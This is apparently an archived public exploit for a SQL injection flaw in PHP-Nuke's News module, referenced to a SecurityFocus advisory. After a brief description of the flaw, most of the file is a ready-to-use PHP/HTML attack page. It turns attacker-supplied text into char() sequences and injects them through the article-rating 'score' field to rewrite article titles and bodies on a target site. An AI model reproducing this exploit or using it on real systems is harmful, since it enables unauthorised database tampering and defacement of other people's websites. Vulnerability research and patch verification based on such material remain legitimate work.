74 lines
No EOL
2.1 KiB
PHP
74 lines
No EOL
2.1 KiB
PHP
source: https://www.securityfocus.com/bid/7173/info
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It has been reported that an input validation error exists in the index.php file included with PHPNuke as part of the News module. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to manipulate the database and alter information on articles posted on the site.
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If magic_quotes_gpc=OFF or ON
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<html>
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<head>
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<title>PHP-Nuke Change News</title>
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</head>
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<body>
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<?
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function ascii_phpnuke_exploit($str) {
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for ($i=0;$i < strlen($str);$i++) {
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if ($i == strlen($str)-1){
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$ascii_char.=ord(substr($str,$i));
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}else{
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$ascii_char.=ord(substr($str,$i)).',';
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}
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}
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return $ascii_char;
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}
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if (isset($submit)) {
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$score="1";
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if (isset($title)) {
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$score.=", title=char(".ascii_phpnuke_exploit($title).")";
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}
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if (strlen($hometext)>1) {
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$score.=", hometext=char(".ascii_phpnuke_exploit($hometext).")";
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}
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if (strlen($bodytext)>1){
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$score.=", bodytext=char(".ascii_phpnuke_exploit($bodytext).")";
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}
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?>
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<b>Target URL : </b><? echo $target; ?><br><br>
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<b>SID : </b><? echo $sid; ?><br><br>
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<b>New Title : </b><? echo $title; ?><br><br>
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<b>New Story Text : </b><? echo $hometext; ?><br><br>
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<b>New Extended Text : </b><? echo $bodytext; ?><br><br>
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<form method="POST" action="<? echo $target; ?>/modules.php">
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<input type="hidden" name="name" value="News">
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<input type="hidden" name="op" value="rate_article">
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<input type="hidden" name="sid" value="<? echo $sid; ?>">
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<input type="hidden" name="score" value="<? echo $score; ?>">
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<input type="submit" name="submit" value="Change the News">
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</form>
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<input type="submit" value="Back" onclick="history.go(-1)">
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<?
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}else{
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?>
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<form method="GET" action="<? echo $PHP_SELF; ?>">
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Target URL : <input type="text" name="target"><br>
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News SID : <input type="text" name="sid"><br><br>
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<b>New Title :</b><br> <input type="text" name="title"><br>
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<br><br><b>New Story Text :</b><br><textarea cols="50" rows="12"
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name="hometext"></textarea>
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<br><br><br><b>New Extended Text : </b><br><textarea cols="50" rows="12"
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name="bodytext"></textarea><br><br>
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<input type="submit" name="submit" value="Preview">
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</form>
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<?
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}
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?>
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</body>
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</html>
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